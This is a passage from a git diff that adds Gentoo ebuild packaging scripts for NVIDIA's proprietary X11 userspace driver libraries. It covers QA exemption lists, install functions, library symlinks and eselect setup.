+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto /lib/udev
+		doexe "${FILESDIR}"/nvidia-udev.sh
+
+		insinto /lib/udev/rules.d
+		newins "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so.1 || \
+		die "failed to create libnvidia-cfg.so symlink"
+	dosym libnvidia-cfg.so.1 \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so.1 || \
+		die "failed to create libnvidia-ml.so symlink"
+	dosym libnvidia-ml.so.1 \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so.1 || \
+		die "failed to create libnvcuvid.so symlink"
+	dosym libnvcuvid.so.1 \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA.so.1 || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.1 /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+		die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	doexe ${NV_EXEC}/nvidia-xconfig || die
+	doexe ${NV_EXEC}/nvidia-debugdump || die
+	doexe ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		doexe ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local CL_ROOT=/usr/${inslibdir}/OpenCL/vendors/nvidia
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia ${CL_ROOT} ${libdir}/libOpenCL.so 1.0.0
+		#dosym libOpenCL.so.1 ${CL_ROOT}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	"${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-295.53.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-295.53.ebuild
new file mode 100644
index 00000000..301d8462
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-295.53.ebuild
@@ -0,0 +1,453 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.12.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	app-admin/eselect-opencl
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libvdpau_nvidia.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto /lib/udev
+		doexe "${FILESDIR}"/nvidia-udev.sh
+
+		insinto /lib/udev/rules.d
+		newins "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so.1 || \
+		die "failed to create libnvidia-cfg.so symlink"
+	dosym libnvidia-cfg.so.1 \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so.1 || \
+		die "failed to create libnvidia-ml.so symlink"
+	dosym libnvidia-ml.so.1 \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so.1 || \
+		die "failed to create libnvcuvid.so symlink"
+	dosym libnvcuvid.so.1 \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA.so.1 || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.1 /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+		die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	doexe ${NV_EXEC}/nvidia-xconfig || die
+	doexe ${NV_EXEC}/nvidia-debugdump || die
+	doexe ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		doexe ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local CL_ROOT=/usr/${inslibdir}/OpenCL/vendors/nvidia
+	local libdir= sover=
+
+	if use kernel_linux; then
